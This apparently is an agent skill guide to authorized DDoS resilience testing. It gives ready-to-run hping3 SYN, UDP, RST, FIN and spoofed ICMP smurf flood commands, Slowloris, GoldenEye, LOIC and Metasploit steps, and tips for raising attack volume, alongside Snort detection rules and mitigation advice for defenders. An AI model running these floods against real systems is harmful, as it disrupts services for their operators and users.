DDoS Attack Testing

DDoS Attack Testing

Purpose

Conduct authorized denial of service testing to assess network resilience and configure intrusion detection systems (IDS) to detect and alert on various DoS attack patterns. This skill covers volume-based, protocol-based, and application-layer attacks using command-line and GUI tools, along with Snort IDS rule configuration for detection.

Prerequisites

Required Tools

# Hping3 - packet crafting and flooding
sudo apt-get install hping3

# LOIC/HOIC - GUI-based stress testing
# Download from authorized sources only

# Slowloris - Application layer testing
git clone https://github.com/gkbrk/slowloris

Snort IDS - Detection

sudo apt-get install snort

Wireshark - Traffic analysis

sudo apt-get install wireshark


### Required Knowledge
- TCP/IP protocol fundamentals
- OSI model layers
- Network traffic analysis
- IDS/IPS configuration

### Required Access
- Written authorization for testing
- Isolated test network environment
- Administrative access on target systems
- IDS/Snort configuration access

## Outputs and Deliverables

1. **Resilience Assessment Report** - Document network response to stress testing
2. **IDS Rule Configuration** - Snort rules for attack detection
3. **Attack Pattern Analysis** - Traffic captures and signatures
4. **Mitigation Recommendations** - DDoS protection strategies

## Core Workflow

### Phase 1: Understanding DDoS Categories

Identify the attack category based on target:

Volume Based Attacks:

Objective: Flood bandwidth with traffic
Metrics: Bits per second (bps)
Examples: UDP flood, ICMP flood
Target: Network bandwidth

Protocol Based Attacks:

Objective: Exhaust server resources
Metrics: Packets per second (pps)
Examples: SYN flood, Ping of Death
Target: Connection state tables

Application Layer Attacks:

Objective: Crash specific applications
Metrics: Requests per second (rps)
Examples: HTTP flood, Slowloris
Target: Web servers, applications


### Phase 2: TCP SYN Flood Testing

Test network resilience to SYN flood attacks:

```bash
# Using Hping3
hping3 -S --flood -p 80 192.168.1.107

# Options:
# -S     : Set SYN flag
# --flood: Send packets as fast as possible
# -p 80  : Target port 80

# Using Metasploit
msfconsole
use auxiliary/dos/tcp/synflood
set RHOST 192.168.1.107
set SHOST 192.168.1.105
set RPORT 80
exploit

Configure Snort detection rule:

# Edit local rules
sudo gedit /etc/snort/rules/local.rules

# Add SYN flood detection rule
alert tcp any any -> 192.168.1.107 any (msg:"SYN Flood DoS"; flags:S; sid:1000006; threshold:type threshold, track by_src, count 100, seconds 1;)

# Start Snort in IDS mode
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0

Phase 3: UDP Flood Testing

Test network against UDP flood attacks:

# Using Hping3
hping3 --udp --flood -p 80 192.168.1.107

# Options:
# --udp   : Use UDP protocol
# --flood : Maximum packet rate
# -p 80   : Target port

# Specify data size
hping3 --udp --flood -p 53 -d 1000 192.168.1.107
# -d 1000 : 1000 bytes of data per packet

Configure Snort detection rule:

# UDP flood detection rule
alert udp any any -> 192.168.1.107 any (msg:"UDP Flood DoS"; sid:1000001; threshold:type threshold, track by_src, count 100, seconds 1;)

Phase 4: SYN-FIN Flood Testing

Test with invalid flag combinations:

# SYN-FIN flood
hping3 -SF --flood -p 80 192.168.1.107

# Options:
# -S : SYN flag
# -F : FIN flag
# Combined creates invalid packet

Detection is built into Snort for anomalous flag combinations.

Phase 5: PUSH-ACK Flood Testing

Test with PSH-ACK packet flood:

# PUSH-ACK flood
hping3 -PA --flood -p 80 192.168.1.107

# Options:
# -P : PSH flag
# -A : ACK flag

Configure Snort detection rule:

# PUSH-ACK flood detection
alert tcp any any -> 192.168.1.107 any (msg:"PUSH-ACK Flood DoS"; flags:PA; sid:1000002; threshold:type threshold, track by_src, count 100, seconds 1;)

Phase 6: RST Flood Testing

Test with TCP reset packet flood:

# RST flood
hping3 -R --flood -p 80 192.168.1.107

# Options:
# -R : RST flag

Configure Snort detection rule:

# RST flood detection
alert tcp any any -> 192.168.1.107 any (msg:"RST Flood DoS"; flags:R; sid:1000003;)

Phase 7: FIN Flood Testing

Test with FIN packet flood:

# FIN flood
hping3 -F --flood -p 80 192.168.1.107

# Options:
# -F : FIN flag

Configure Snort detection rule:

# FIN flood detection
alert tcp any any -> 192.168.1.107 any (msg:"FIN Flood DoS"; flags:F; sid:1000004;)

Phase 8: ICMP Smurf Attack

Test amplification attack scenario:

# Smurf attack simulation
hping3 --icmp --flood 192.168.1.255 -a 192.168.1.107

# Options:
# --icmp : Use ICMP protocol
# -a     : Spoof source address (victim)
# Target : Broadcast address

# All hosts reply to victim's spoofed address

Configure Snort detection rule:

# ICMP flood detection
alert icmp any any -> 192.168.1.107 any (msg:"ICMP Flood DoS"; sid:1000005; threshold:type threshold, track by_src, count 50, seconds 1;)

Phase 9: Application Layer Testing

Test HTTP layer resilience:

Slowloris Attack:

# Slowloris - Slow HTTP attack
python slowloris.py 192.168.1.107 -p 80 -s 500

# Options:
# -p 80  : Target port
# -s 500 : Number of sockets

GoldenEye Attack:

# GoldenEye - HTTP DoS
git clone https://github.com/jseidl/GoldenEye
python goldeneye.py http://192.168.1.107 -w 50 -s 500

# Options:
# -w 50  : Number of workers
# -s 500 : Number of sockets

Phase 10: GUI-Based Testing

Use graphical tools for stress testing:

LOIC (Low Orbit Ion Cannon):

# TCP Flood with LOIC
1. Enter target IP: 192.168.1.107
2. Select Port: 80
3. Select Method: TCP
4. Set Threads: 10
5. Click "IMMA CHARGIN MAH LAZER"

HOIC (High Orbit Ion Cannon):

# HTTP Flood with HOIC
1. Add Target URL
2. Select Power: High
3. Set Threads: 256
4. Launch Attack

Quick Reference

Hping3 Flag Options

Flag	Option	Description
SYN	`-S`	TCP SYN flag
ACK	`-A`	TCP ACK flag
FIN	`-F`	TCP FIN flag
RST	`-R`	TCP RST flag
PSH	`-P`	TCP PSH flag
URG	`-U`	TCP URG flag
UDP	`--udp`	Use UDP protocol
ICMP	`--icmp`	Use ICMP protocol

Common Hping3 Commands

Attack Type	Command
SYN Flood	`hping3 -S --flood -p 80 TARGET`
UDP Flood	`hping3 --udp --flood -p 80 TARGET`
ICMP Flood	`hping3 --icmp --flood TARGET`
SYN-FIN	`hping3 -SF --flood -p 80 TARGET`
PSH-ACK	`hping3 -PA --flood -p 80 TARGET`
RST Flood	`hping3 -R --flood -p 80 TARGET`
FIN Flood	`hping3 -F --flood -p 80 TARGET`
Spoof Source	`hping3 -S --flood -a FAKE_IP -p 80 TARGET`

Snort Rule Structure

alert [protocol] [src_ip] [src_port] -> [dst_ip] [dst_port] (
    msg:"Alert Message";
    flags:[TCP flags];
    sid:[unique ID];
    threshold:type [threshold|limit|both], track [by_src|by_dst], count [N], seconds [N];
)

Attack Detection Indicators

Attack Type	Indicators
SYN Flood	High SYN packets, low SYN-ACK
UDP Flood	High UDP traffic, random ports
ICMP Flood	High ICMP echo requests
Slowloris	Many half-open connections
HTTP Flood	High HTTP requests/second

Constraints and Limitations

Legal Requirements

Only test systems you own or have written authorization
DDoS attacks on production systems are illegal
Use isolated test networks
Document all testing activities

Ethical Boundaries

Never attack production systems without explicit permission
Avoid testing during business hours
Coordinate with network administrators
Have rollback procedures ready

Technical Limitations

Test results vary with network capacity
CDN and cloud protection may skew results
Some attacks require significant bandwidth
Detection rules need tuning for environment

Examples

Example 1: Complete SYN Flood Test

Scenario: Test firewall resilience to SYN flood

# Step 1: Configure Snort rule
echo 'alert tcp any any -> 192.168.1.107 80 (msg:"SYN Flood"; flags:S; sid:1000001; threshold:type threshold, track by_src, count 50, seconds 10;)' >> /etc/snort/rules/local.rules

# Step 2: Start Snort
sudo snort -A console -q -c /etc/snort/snort.conf -i eth0

# Step 3: Start Wireshark capture
wireshark -i eth0 -f "host 192.168.1.107 and tcp"

# Step 4: Launch attack from attacker machine
hping3 -S --flood -p 80 -c 10000 192.168.1.107

# Step 5: Observe Snort alerts
# [**] [1:1000001:0] SYN Flood [**]
# 192.168.1.105 -> 192.168.1.107

# Step 6: Analyze Wireshark capture
# Check SYN packet rate and response behavior

Example 2: Multi-Vector Test

Scenario: Test against multiple attack types

# Configure comprehensive Snort rules
cat >> /etc/snort/rules/local.rules << 'EOF'
alert tcp any any -> $HOME_NET any (msg:"SYN Flood"; flags:S; sid:1000001; threshold:type threshold, track by_src, count 100, seconds 1;)
alert udp any any -> $HOME_NET any (msg:"UDP Flood"; sid:1000002; threshold:type threshold, track by_src, count 100, seconds 1;)
alert icmp any any -> $HOME_NET any (msg:"ICMP Flood"; sid:1000003; threshold:type threshold, track by_src, count 50, seconds 1;)
alert tcp any any -> $HOME_NET 80 (msg:"HTTP Flood"; flags:PA; content:"GET"; sid:1000004; threshold:type threshold, track by_src, count 50, seconds 1;)
EOF

# Run tests sequentially
hping3 -S --flood -p 80 -c 5000 TARGET
sleep 30
hping3 --udp --flood -p 53 -c 5000 TARGET
sleep 30
hping3 --icmp --flood -c 5000 TARGET

Example 3: Slowloris Application Attack

Scenario: Test web server connection limits

# Step 1: Check current connections
netstat -an | grep :80 | wc -l

# Step 2: Launch Slowloris
python slowloris.py 192.168.1.107 -p 80 -s 200

# Step 3: Monitor server connections
watch -n 1 'netstat -an | grep :80 | grep ESTABLISHED | wc -l'

# Step 4: Test legitimate access
curl -v --max-time 10 http://192.168.1.107/
# Expect: Connection timeout or slow response

# Step 5: Stop attack and verify recovery

Troubleshooting

Snort Not Detecting Attacks

Problem: No alerts generated during flood

Solutions:

Verify Snort is listening on correct interface
Check rule syntax with snort -T -c snort.conf
Ensure HOME_NET variable is set correctly
Lower threshold values for testing
Verify traffic is reaching the interface

Hping3 Flood Too Slow

Problem: Flood rate insufficient for testing

Solutions:

Use --faster or --flood options
Run from multiple sources simultaneously
Increase system network buffer sizes
Use dedicated network interface
Consider using specialized stress testing tools

Target Not Affected

Problem: Target continues operating normally

Solutions:

Increase attack volume
Target may have DDoS protection
Check network path for filtering
Verify traffic is reaching target (Wireshark)
Target may have high capacity

False Positives in Detection

Problem: Legitimate traffic triggers alerts

Solutions:

Increase threshold count values
Add exceptions for known legitimate sources
Use rate-based detection instead of simple count
Whitelist trusted IP addresses
Tune rules based on baseline traffic analysis

Mitigation Recommendations

Network Level

Implement rate limiting at edge routers
Configure SYN cookies on servers
Use anycast for distributed absorption
Deploy hardware-based DDoS mitigation
Configure ACLs to block known attack patterns

Application Level

Implement connection timeouts
Use reverse proxy with rate limiting
Deploy Web Application Firewall (WAF)
Configure connection limits per IP
Use CAPTCHA for suspicious requests

Infrastructure Level

Use CDN for traffic absorption
Implement geo-blocking if appropriate
Configure auto-scaling for cloud resources
Have DDoS mitigation service on standby
Maintain incident response procedures

About this skill

Purpose

Prerequisites

Required Tools

Phase 3: UDP Flood Testing

Phase 4: SYN-FIN Flood Testing

Phase 5: PUSH-ACK Flood Testing

Phase 6: RST Flood Testing

Phase 7: FIN Flood Testing

Phase 8: ICMP Smurf Attack

Phase 9: Application Layer Testing

Phase 10: GUI-Based Testing

Quick Reference

Hping3 Flag Options

Common Hping3 Commands

Snort Rule Structure

Attack Detection Indicators

Constraints and Limitations

Legal Requirements

Ethical Boundaries

Technical Limitations

Examples

Example 1: Complete SYN Flood Test

Example 2: Multi-Vector Test

Example 3: Slowloris Application Attack

Troubleshooting

Snort Not Detecting Attacks

Hping3 Flood Too Slow

Target Not Affected

False Positives in Detection

Mitigation Recommendations

Network Level

Application Level

Infrastructure Level